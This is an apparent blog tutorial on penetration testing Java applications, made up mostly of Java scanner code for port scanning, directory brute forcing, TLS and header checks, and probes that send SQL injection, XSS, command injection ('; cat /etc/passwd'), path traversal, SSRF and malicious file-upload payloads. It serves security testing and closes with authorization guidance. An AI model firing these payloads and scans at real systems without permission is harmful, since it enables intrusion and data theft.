google-site-verification: google61fe8ba583a51912.html
Penetration Testing Java Applications

Introduction to Java Application Security Testing

Penetration testing Java applications involves identifying and exploiting vulnerabilities in Java-based systems. This comprehensive guide covers tools, techniques, and methodologies for testing Java web applications, APIs, and standalone applications.

Java Application Reconnaissance

Information Gathering Tools

import java.net.*; import java.io.*; import java.util.*; public class JavaReconnaissance { // DNS Enumeration public static void dnsEnumeration(String domain) { try { InetAddress[] addresses = InetAddress.getAllByName(domain); System.out.println("DNS Records for " + domain + ":"); for (InetAddress addr : addresses) { System.out.println(" " + addr.getHostAddress()); } } catch (UnknownHostException e) { System.out.println("Unable to resolve domain: " + domain); } } // Port Scanning public static void portScan(String host, int startPort, int endPort) { System.out.println("Scanning ports " + startPort + "-" + endPort + " on " + host); for (int port = startPort; port <= endPort; port++) { try (Socket socket = new Socket()) { socket.connect(new InetSocketAddress(host, port), 1000); System.out.println("Port " + port + " is OPEN"); // Try to grab banner try { InputStream in = socket.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(in)); String banner = reader.readLine(); if (banner != null) { System.out.println(" Banner: " + banner); } } catch (IOException e) { // Banner grabbing failed, continue } } catch (IOException e) { // Port is closed or filtered } } } // HTTP Header Analysis public static void analyzeHeaders(String urlString) { try { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); Map<String, List<String>> headers = connection.getHeaderFields(); System.out.println("HTTP Headers for " + urlString + ":"); for (Map.Entry<String, List<String>> header : headers.entrySet()) { System.out.println(" " + header.getKey() + ": " + header.getValue()); } // Check for security headers checkSecurityHeaders(headers); } catch (IOException e) { System.out.println("Error analyzing headers: " + e.getMessage()); } } private static void checkSecurityHeaders(Map<String, List<String>> headers) { String[] securityHeaders = { "X-Frame-Options", "X-Content-Type-Options", "Strict-Transport-Security", "Content-Security-Policy", "X-XSS-Protection" }; System.out.println("\nSecurity Header Analysis:"); for (String header : securityHeaders) { if (headers.containsKey(header)) { System.out.println(" ✓ " + header + ": " + headers.get(header)); } else { System.out.println(" ✗ " + header + ": MISSING"); } } } public static void main(String[] args) { // Example usage dnsEnumeration("example.com"); System.out.println(); portScan("localhost", 80, 90); System.out.println(); analyzeHeaders("http://localhost:8080"); } }

Vulnerability Scanning Framework

Custom Java Vulnerability Scanner

import java.net.*; import java.io.*; import java.util.*; import java.util.regex.*; public class JavaVulnerabilityScanner { private final String targetUrl; private final List<String> commonPaths; public JavaVulnerabilityScanner(String targetUrl) { this.targetUrl = targetUrl; this.commonPaths = loadCommonPaths(); } private List<String> loadCommonPaths() { return Arrays.asList( "/admin", "/login", "/config", "/backup", "/.git", "/phpinfo.php", "/test", "/debug", "/console", "/api", "/swagger-ui.html", "/actuator/health" ); } // Directory and File Brute Forcing public void directoryBruteForce() { System.out.println("Starting directory brute force..."); for (String path : commonPaths) { String testUrl = targetUrl + path; if (checkUrlExists(testUrl)) { System.out.println("FOUND: " + testUrl); } } } private boolean checkUrlExists(String urlString) { try { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("HEAD"); connection.setConnectTimeout(3000); connection.setReadTimeout(3000); int responseCode = connection.getResponseCode(); return responseCode == 200; } catch (IOException e) { return false; } } // SQL Injection Testing public void testSqlInjection(String parameter, String baseUrl) { String[] sqlPayloads = { "' OR '1'='1", "' UNION SELECT 1,2,3--", "'; DROP TABLE users--", "' AND 1=1--", "' AND 1=2--" }; System.out.println("Testing SQL Injection on parameter: " + parameter); for (String payload : sqlPayloads) { String testUrl = baseUrl + "?" + parameter + "=" + URLEncoder.encode(payload); try { String response = sendGetRequest(testUrl); if (containsSqlIndicators(response)) { System.out.println("POSSIBLE SQLi: " + testUrl); } } catch (IOException e) { System.out.println("Error testing: " + testUrl); } } } private boolean containsSqlIndicators(String response) { String[] indicators = { "sql", "syntax", "mysql", "oracle", "database", "warning", "error", "exception", "unclosed" }; String lowerResponse = response.toLowerCase(); for (String indicator : indicators) { if (lowerResponse.contains(indicator)) { return true; } } return false; } // XSS Testing public void testXss(String parameter, String baseUrl) { String[] xssPayloads = { "<script>alert('XSS')</script>", "\"><script>alert('XSS')</script>", "javascript:alert('XSS')", "<img src=x onerror=alert('XSS')>" }; System.out.println("Testing XSS on parameter: " + parameter); for (String payload : xssPayloads) { String testUrl = baseUrl + "?" + parameter + "=" + URLEncoder.encode(payload); try { String response = sendGetRequest(testUrl); if (response.contains(payload)) { System.out.println("POSSIBLE XSS: " + testUrl); } } catch (IOException e) { System.out.println("Error testing: " + testUrl); } } } private String sendGetRequest(String urlString) throws IOException { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); StringBuilder response = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(connection.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { response.append(line); } } return response.toString(); } // JWT Token Analysis public void analyzeJwtToken(String token) { System.out.println("Analyzing JWT Token..."); String[] parts = token.split("\\."); if (parts.length != 3) { System.out.println("Invalid JWT format"); return; } try { String header = new String(Base64.getUrlDecoder().decode(parts[0])); String payload = new String(Base64.getUrlDecoder().decode(parts[1])); System.out.println("Header: " + header); System.out.println("Payload: " + payload); // Check for weak algorithms if (header.contains("none") || header.contains("HS256")) { System.out.println("WARNING: Potentially weak algorithm detected"); } } catch (IllegalArgumentException e) { System.out.println("Error decoding JWT: " + e.getMessage()); } } public static void main(String[] args) { JavaVulnerabilityScanner scanner = new JavaVulnerabilityScanner("http://localhost:8080"); scanner.directoryBruteForce(); scanner.testSqlInjection("id", "http://localhost:8080/user"); scanner.testXss("search", "http://localhost:8080/search"); } }

Exploitation Tools

Custom Exploit Framework

import java.net.*; import java.io.*; import java.util.*; import java.util.zip.*; import java.security.*; public class JavaExploitationFramework { // Deserialization Exploit public static class DeserializationExploit { public static void generateDeserializationPayload(String command) { // This is a simplified example - real exploits would use proper gadget chains System.out.println("Deserialization payload generation for: " + command); // In real scenarios, you would use ysoserial or similar tools // This is just a demonstration structure try { // Example: Creating a malicious object stream ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); // This would be replaced with actual exploit objects oos.writeObject(new HashMap<String, String>() {{ put("exploit", command); }}); byte[] payload = baos.toByteArray(); System.out.println("Generated payload size: " + payload.length + " bytes"); } catch (IOException e) { e.printStackTrace(); } } } // File Upload Vulnerability Testing public static class FileUploadTester { public static void testFileUpload(String uploadUrl, String fileParam) { String[] maliciousExtensions = { ".jsp", ".war", ".jar", ".exe", ".php", ".sh", ".bat", ".cmd" }; String[] contentTypes = { "image/jpeg", "application/octet-stream", "text/plain", "application/x-java-archive" }; System.out.println("Testing file upload vulnerabilities..."); for (String ext : maliciousExtensions) { for (String contentType : contentTypes) { try { boolean success = uploadFile(uploadUrl, fileParam, "malicious" + ext, "malicious content", contentType); if (success) { System.out.println("SUCCESSFUL UPLOAD: " + ext + " with Content-Type: " + contentType); } } catch (IOException e) { System.out.println("Upload failed: " + e.getMessage()); } } } } private static boolean uploadFile(String uploadUrl, String fileParam, String filename, String content, String contentType) throws IOException { String boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"; URL url = new URL(uploadUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setDoOutput(true); connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary); try (OutputStream os = connection.getOutputStream(); PrintWriter writer = new PrintWriter(new OutputStreamWriter(os, "UTF-8"))) { writer.append("--" + boundary).append("\r\n"); writer.append("Content-Disposition: form-data; name=\"" + fileParam + "\"; filename=\"" + filename + "\"") .append("\r\n"); writer.append("Content-Type: " + contentType).append("\r\n"); writer.append("\r\n").flush(); os.write(content.getBytes()); os.flush(); writer.append("\r\n").flush(); writer.append("--" + boundary + "--").append("\r\n").flush(); } int responseCode = connection.getResponseCode(); return responseCode == 200; } } // Command Injection Testing public static class CommandInjectionTester { public static void testCommandInjection(String url, String parameter) { String[] osCommands = { "| whoami", "; cat /etc/passwd", "& ipconfig", "` echo vulnerable `", "|| ping -c 1 localhost", "&& dir" }; System.out.println("Testing command injection on parameter: " + parameter); for (String cmd : osCommands) { String testValue = "test" + cmd; try { String response = sendPostRequest(url, parameter, testValue); if (containsCommandOutput(response)) { System.out.println("POSSIBLE COMMAND INJECTION: " + testValue); } } catch (IOException e) { System.out.println("Error testing: " + testValue); } } } private static boolean containsCommandOutput(String response) { String[] indicators = { "root", "administrator", "etc/passwd", "windows", "system32", "ipconfig" }; String lowerResponse = response.toLowerCase(); for (String indicator : indicators) { if (lowerResponse.contains(indicator)) { return true; } } return false; } private static String sendPostRequest(String urlString, String param, String value) throws IOException { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setDoOutput(true); String postData = param + "=" + URLEncoder.encode(value, "UTF-8"); try (OutputStream os = connection.getOutputStream()) { os.write(postData.getBytes()); } StringBuilder response = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(connection.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { response.append(line); } } return response.toString(); } } // SSRF Testing public static class SSRFTester { public static void testSSRF(String url, String parameter) { String[] ssrfTargets = { "http://localhost:22", "http://127.0.0.1:3306", "file:///etc/passwd", "http://169.254.169.254/latest/meta-data/", "http://internal.api.local" }; System.out.println("Testing SSRF on parameter: " + parameter); for (String target : ssrfTargets) { try { String testUrl = url + "?" + parameter + "=" + URLEncoder.encode(target, "UTF-8"); String response = sendGetRequest(testUrl); if (containsSensitiveInfo(response)) { System.out.println("POSSIBLE SSRF: " + target); } } catch (IOException e) { System.out.println("Error testing: " + target); } } } private static boolean containsSensitiveInfo(String response) { String[] sensitivePatterns = { "root:", "aws", "metadata", "internal", "mysql", "ssh", "api key" }; String lowerResponse = response.toLowerCase(); for (String pattern : sensitivePatterns) { if (lowerResponse.contains(pattern)) { return true; } } return false; } private static String sendGetRequest(String urlString) throws IOException { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); StringBuilder response = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(connection.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { response.append(line); } } return response.toString(); } } public static void main(String[] args) { // Example usage DeserializationExploit.generateDeserializationPayload("calc.exe"); FileUploadTester.testFileUpload("http://localhost:8080/upload", "file"); CommandInjectionTester.testCommandInjection("http://localhost:8080/execute", "command"); SSRFTester.testSSRF("http://localhost:8080/fetch", "url"); } }

Security Headers and Configuration Testing

Security Configuration Scanner

import java.net.*; import java.io.*; import java.util.*; import javax.net.ssl.*; public class SecurityConfigurationScanner { // SSL/TLS Configuration Testing public static void testSSLConfiguration(String host, int port) { System.out.println("Testing SSL/TLS configuration for " + host + ":" + port); try { SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, null, null); SSLSocketFactory factory = sslContext.getSocketFactory(); SSLSocket socket = (SSLSocket) factory.createSocket(host, port); // Test supported protocols String[] supportedProtocols = socket.getSupportedProtocols(); String[] enabledProtocols = socket.getEnabledProtocols(); System.out.println("Supported Protocols: " + Arrays.toString(supportedProtocols)); System.out.println("Enabled Protocols: " + Arrays.toString(enabledProtocols)); // Check for weak protocols checkWeakProtocols(enabledProtocols); // Test cipher suites String[] cipherSuites = socket.getEnabledCipherSuites(); System.out.println("Enabled Cipher Suites: " + Arrays.toString(cipherSuites)); checkWeakCiphers(cipherSuites); socket.close(); } catch (Exception e) { System.out.println("SSL test failed: " + e.getMessage()); } } private static void checkWeakProtocols(String[] protocols) { String[] weakProtocols = {"SSLv2", "SSLv3", "TLSv1", "TLSv1.1"}; for (String protocol : protocols) { for (String weak : weakProtocols) { if (protocol.contains(weak)) { System.out.println("WARNING: Weak protocol enabled - " + protocol); } } } } private static void checkWeakCiphers(String[] ciphers) { String[] weakCiphers = { "_NULL_", "_EXPORT_", "_RC4_", "_MD5_", "_DES_", "_3DES_", "_ANON_" }; for (String cipher : ciphers) { for (String weak : weakCiphers) { if (cipher.toUpperCase().contains(weak)) { System.out.println("WARNING: Weak cipher enabled - " + cipher); } } } } // HTTP Security Headers Testing public static void testSecurityHeaders(String url) { try { URL target = new URL(url); HttpURLConnection connection = (HttpURLConnection) target.openConnection(); Map<String, List<String>> headers = connection.getHeaderFields(); System.out.println("\nSecurity Headers Analysis for " + url + ":"); checkHeader(headers, "Strict-Transport-Security", "Missing HSTS header"); checkHeader(headers, "X-Frame-Options", "Missing X-Frame-Options"); checkHeader(headers, "X-Content-Type-Options", "Missing X-Content-Type-Options"); checkHeader(headers, "Content-Security-Policy", "Missing CSP"); checkHeader(headers, "X-XSS-Protection", "Missing XSS Protection"); } catch (IOException e) { System.out.println("Error testing security headers: " + e.getMessage()); } } private static void checkHeader(Map<String, List<String>> headers, String headerName, String warning) { if (headers.containsKey(headerName)) { System.out.println("✓ " + headerName + ": " + headers.get(headerName)); } else { System.out.println("✗ " + warning); } } // Cookie Security Analysis public static void analyzeCookies(String url) { try { URL target = new URL(url); HttpURLConnection connection = (HttpURLConnection) target.openConnection(); Map<String, List<String>> headers = connection.getHeaderFields(); List<String> cookies = headers.get("Set-Cookie"); if (cookies != null) { System.out.println("\nCookie Security Analysis:"); for (String cookie : cookies) { analyzeCookieSecurity(cookie); } } } catch (IOException e) { System.out.println("Error analyzing cookies: " + e.getMessage()); } } private static void analyzeCookieSecurity(String cookie) { System.out.println("Cookie: " + cookie); boolean secureFlag = cookie.toLowerCase().contains("secure"); boolean httpOnlyFlag = cookie.toLowerCase().contains("httponly"); boolean hasSameSite = cookie.toLowerCase().contains("samesite"); System.out.println(" Secure Flag: " + (secureFlag ? "✓" : "✗")); System.out.println(" HttpOnly Flag: " + (httpOnlyFlag ? "✓" : "✗")); System.out.println(" SameSite Attribute: " + (hasSameSite ? "✓" : "✗")); if (!secureFlag) { System.out.println(" WARNING: Cookie missing Secure flag"); } if (!httpOnlyFlag) { System.out.println(" WARNING: Cookie missing HttpOnly flag"); } } public static void main(String[] args) { testSSLConfiguration("google.com", 443); testSecurityHeaders("https://google.com"); analyzeCookies("https://google.com"); } }

Automated Penetration Testing Framework

Complete PenTest Framework

import java.net.*; import java.io.*; import java.util.*; import java.util.concurrent.*; import javax.script.*; public class JavaPenTestFramework { private final String target; private final ExecutorService executor; private final List<String> findings; public JavaPenTestFramework(String target) { this.target = target; this.executor = Executors.newFixedThreadPool(10); this.findings = Collections.synchronizedList(new ArrayList<>()); } public void runFullAssessment() { System.out.println("Starting comprehensive penetration test for: " + target); List<Callable<Void>> tasks = Arrays.asList( () -> { performReconnaissance(); return null; }, () -> { scanForVulnerabilities(); return null; }, () -> { testAuthentication(); return null; }, () -> { testAuthorization(); return null; }, () -> { testInputValidation(); return null; }, () -> { checkSecurityConfigurations(); return null; } ); try { executor.invokeAll(tasks); executor.shutdown(); executor.awaitTermination(1, TimeUnit.HOURS); generateReport(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); System.out.println("Assessment interrupted"); } } private void performReconnaissance() { addFinding("INFO", "Starting reconnaissance phase"); // DNS enumeration try { InetAddress[] addresses = InetAddress.getAllByName(target); for (InetAddress addr : addresses) { addFinding("INFO", "Discovered IP: " + addr.getHostAddress()); } } catch (UnknownHostException e) { addFinding("ERROR", "DNS resolution failed: " + e.getMessage()); } // Port scanning scanPorts(); // Web technology detection detectTechnologies(); } private void scanPorts() { int[] commonPorts = {21, 22, 23, 25, 53, 80, 110, 443, 993, 995, 8080, 8443}; for (int port : commonPorts) { try (Socket socket = new Socket()) { socket.connect(new InetSocketAddress(target, port), 1000); addFinding("INFO", "Open port discovered: " + port); // Attempt banner grabbing try { InputStream in = socket.getInputStream(); byte[] buffer = new byte[1024]; int bytesRead = in.read(buffer); if (bytesRead > 0) { String banner = new String(buffer, 0, bytesRead); addFinding("INFO", "Banner on port " + port + ": " + banner.trim()); } } catch (IOException e) { // Banner grabbing failed, continue } } catch (IOException e) { // Port closed or filtered } } } private void detectTechnologies() { try { URL url = new URL("http://" + target); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty("User-Agent", "Mozilla/5.0 (compatible; JavaPenTestFramework/1.0)"); Map<String, List<String>> headers = connection.getHeaderFields(); // Detect server technology List<String> serverHeader = headers.get("Server"); if (serverHeader != null) { addFinding("INFO", "Server technology: " + serverHeader); } // Detect framework via headers and content String content = readResponseContent(connection); detectFrameworkFromContent(content); } catch (IOException e) { addFinding("ERROR", "Technology detection failed: " + e.getMessage()); } } private void detectFrameworkFromContent(String content) { if (content.contains("spring") || content.contains("Spring")) { addFinding("INFO", "Detected Spring Framework"); } if (content.contains("jsf") || content.contains("JSF")) { addFinding("INFO", "Detected JavaServer Faces"); } if (content.contains("struts") || content.contains("Struts")) { addFinding("INFO", "Detected Apache Struts"); } } private void scanForVulnerabilities() { addFinding("INFO", "Starting vulnerability scanning"); // Test for common web vulnerabilities testForSqlInjection(); testForXss(); testForPathTraversal(); testForCommandInjection(); } private void testForSqlInjection() { String[] testPaths = {"/user?id=1", "/search?q=test", "/product?category=1"}; for (String path : testPaths) { String testUrl = "http://" + target + path; String[] payloads = {"' OR '1'='1", "' UNION SELECT 1,2,3--", "'; DROP TABLE users--"}; for (String payload : payloads) { try { String response = sendGetRequest(testUrl + payload); if (response.toLowerCase().contains("error") || response.toLowerCase().contains("sql") || response.toLowerCase().contains("syntax")) { addFinding("HIGH", "Possible SQL Injection at: " + testUrl); } } catch (IOException e) { // Request failed, continue } } } } private void testForXss() { String[] testPaths = {"/search?q=", "/comment?text=", "/contact?message="}; for (String path : testPaths) { String testUrl = "http://" + target + path; String payload = "<script>alert('XSS')</script>"; try { String response = sendGetRequest(testUrl + URLEncoder.encode(payload, "UTF-8")); if (response.contains(payload)) { addFinding("MEDIUM", "Possible XSS at: " + testUrl); } } catch (IOException e) { // Request failed, continue } } } private void testForPathTraversal() { String[] payloads = { "../../../../etc/passwd", "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "....//....//....//etc/passwd" }; for (String payload : payloads) { try { String testUrl = "http://" + target + "/files?name=" + URLEncoder.encode(payload, "UTF-8"); String response = sendGetRequest(testUrl); if (response.contains("root:") || response.contains("administrator") || response.contains("Windows") || response.contains("system32")) { addFinding("HIGH", "Possible Path Traversal at: " + testUrl); } } catch (IOException e) { // Request failed, continue } } } private void testForCommandInjection() { String[] payloads = { "; whoami", "| dir", "& ifconfig", "` echo vulnerable `" }; for (String payload : payloads) { try { String testUrl = "http://" + target + "/execute?cmd=test" + URLEncoder.encode(payload, "UTF-8"); String response = sendGetRequest(testUrl); if (response.contains("root") || response.contains("administrator") || response.contains("inet") || response.contains("Volume")) { addFinding("HIGH", "Possible Command Injection at: " + testUrl); } } catch (IOException e) { // Request failed, continue } } } private void testAuthentication() { addFinding("INFO", "Testing authentication mechanisms"); // Test for default credentials testDefaultCredentials(); // Test for weak password policy testPasswordPolicy(); // Test for session management issues testSessionManagement(); } private void testDefaultCredentials() { Map<String, String> defaultCreds = new HashMap<>(); defaultCreds.put("admin", "admin"); defaultCreds.put("admin", "password"); defaultCreds.put("root", "root"); defaultCreds.put("test", "test"); for (Map.Entry<String, String> cred : defaultCreds.entrySet()) { if (testLogin(cred.getKey(), cred.getValue())) { addFinding("CRITICAL", "Default credentials work: " + cred.getKey() + "/" + cred.getValue()); } } } private boolean testLogin(String username, String password) { // Implement login testing logic // This would vary based on the application return false; // Placeholder } private void testPasswordPolicy() { // Test for weak password acceptance // This would require attempting to create accounts with weak passwords } private void testSessionManagement() { // Test session fixation, timeout, etc. } private void testAuthorization() { addFinding("INFO", "Testing authorization controls"); // Test for IDOR, privilege escalation, etc. } private void testInputValidation() { addFinding("INFO", "Testing input validation"); // Test various input validation bypass techniques } private void checkSecurityConfigurations() { addFinding("INFO", "Checking security configurations"); // Check SSL/TLS configuration SecurityConfigurationScanner.testSSLConfiguration(target, 443); // Check HTTP security headers SecurityConfigurationScanner.testSecurityHeaders("https://" + target); // Check for exposed files and directories checkExposedResources(); } private void checkExposedResources() { String[] exposedResources = { "/.git/", "/.svn/", "/.env", "/backup/", "/phpinfo.php", "/test", "/debug", "/actuator", "/swagger-ui.html", "/api-docs" }; for (String resource : exposedResources) { try { String testUrl = "http://" + target + resource; if (checkUrlExists(testUrl)) { addFinding("MEDIUM", "Exposed resource: " + testUrl); } } catch (IOException e) { // Request failed, continue } } } private String readResponseContent(HttpURLConnection connection) throws IOException { StringBuilder content = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(connection.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { content.append(line); } } return content.toString(); } private String sendGetRequest(String urlString) throws IOException { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); return readResponseContent(connection); } private boolean checkUrlExists(String urlString) throws IOException { URL url = new URL(urlString); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("HEAD"); return connection.getResponseCode() == 200; } private void addFinding(String severity, String description) { String finding = String.format("[%s] %s", severity, description); findings.add(finding); System.out.println(finding); } private void generateReport() { System.out.println("\n" + "=".repeat(50)); System.out.println("PENETRATION TEST REPORT"); System.out.println("Target: " + target); System.out.println("Date: " + new Date()); System.out.println("=".repeat(50)); Map<String, List<String>> findingsBySeverity = new HashMap<>(); for (String finding : findings) { String severity = finding.substring(1, finding.indexOf("]")); findingsBySeverity.computeIfAbsent(severity, k -> new ArrayList<>()).add(finding); } // Print findings by severity String[] severities = {"CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO", "ERROR"}; for (String severity : severities) { List<String> severityFindings = findingsBySeverity.get(severity); if (severityFindings != null && !severityFindings.isEmpty()) { System.out.println("\n" + severity + " FINDINGS:"); for (String finding : severityFindings) { System.out.println(" • " + finding.substring(finding.indexOf("]") + 2)); } } } System.out.println("\nTotal findings: " + findings.size()); } public static void main(String[] args) { if (args.length != 1) { System.out.println("Usage: JavaPenTestFramework <target>"); return; } JavaPenTestFramework framework = new JavaPenTestFramework(args[0]); framework.runFullAssessment(); } }

Best Practices and Legal Considerations

Ethical Hacking Guidelines

import java.util.*; public class PenTestEthics { private final Properties config; public PenTestEthics() { this.config = new Properties(); loadEthicalGuidelines(); } private void loadEthicalGuidelines() { config.setProperty("legal.requirement", "written-permission"); config.setProperty("scope.limitation", "defined-targets-only"); config.setProperty("data.handling", "secure-deletion"); config.setProperty("reporting.requirement", "comprehensive"); config.setProperty("disclosure.policy", "responsible"); } public void validateTestScope(String target, String authorization) { if (!hasAuthorization(authorization)) { throw new SecurityException("No valid authorization for testing " + target); } if (!isInScope(target)) { throw new SecurityException("Target " + target + " is out of scope"); } System.out.println("Authorization validated for testing: " + target); logTestStart(target); } private boolean hasAuthorization(String authorization) { // Check for valid written authorization return authorization != null && authorization.startsWith("AUTH-") && authorization.length() > 10; } private boolean isInScope(String target) { // Validate target is within authorized scope return target.matches(".*\\.example\\.com$") || target.equals("localhost") || target.startsWith("192.168.") || target.startsWith("10."); } private void logTestStart(String target) { String logEntry = String.format( "TEST_START|%s|%s|%s", new Date(), target, System.getProperty("user.name") ); // In real implementation, write to secure log System.out.println("SECURITY_LOG: " + logEntry); } public void handleSensitiveFinding(String finding) { System.out.println("SENSITIVE FINDING DETECTED - HANDLING WITH CARE"); // Encrypt finding before storage String encryptedFinding = encryptFinding(finding); // Store in secure location storeSecurely(encryptedFinding); // Notify appropriate personnel notifyStakeholders(); } private String encryptFinding(String finding) { // Implement proper encryption return "ENCRYPTED:" + Base64.getEncoder().encodeToString(finding.getBytes()); } private void storeSecurely(String encryptedData) { // Implement secure storage System.out.println("Stored encrypted finding in secure location"); } private void notifyStakeholders() { // Implement secure notification System.out.println("Notified authorized stakeholders"); } public static void main(String[] args) { PenTestEthics ethics = new PenTestEthics(); try { ethics.validateTestScope("api.example.com", "AUTH-1234567890"); // Simulate sensitive finding ethics.handleSensitiveFinding("Critical vulnerability in authentication system"); } catch (SecurityException e) { System.out.println("Security violation: " + e.getMessage()); } } }

Key Takeaways

  1. Reconnaissance: Always start with thorough information gathering
  2. Vulnerability Scanning: Use automated tools but verify findings manually
  3. Exploitation: Test vulnerabilities responsibly with proper authorization
  4. Reporting: Document all findings with clear evidence and remediation steps
  5. Ethics: Always have proper authorization and follow responsible disclosure

This framework provides a foundation for Java application penetration testing, but always remember to:

  • Obtain proper authorization before testing
  • Follow responsible disclosure practices
  • Stay updated with the latest security vulnerabilities
  • Use multiple tools and techniques for comprehensive testing
  • Document everything for reproducible results

Leave a Reply

Your email address will not be published. Required fields are marked *


Macro Nepal Helper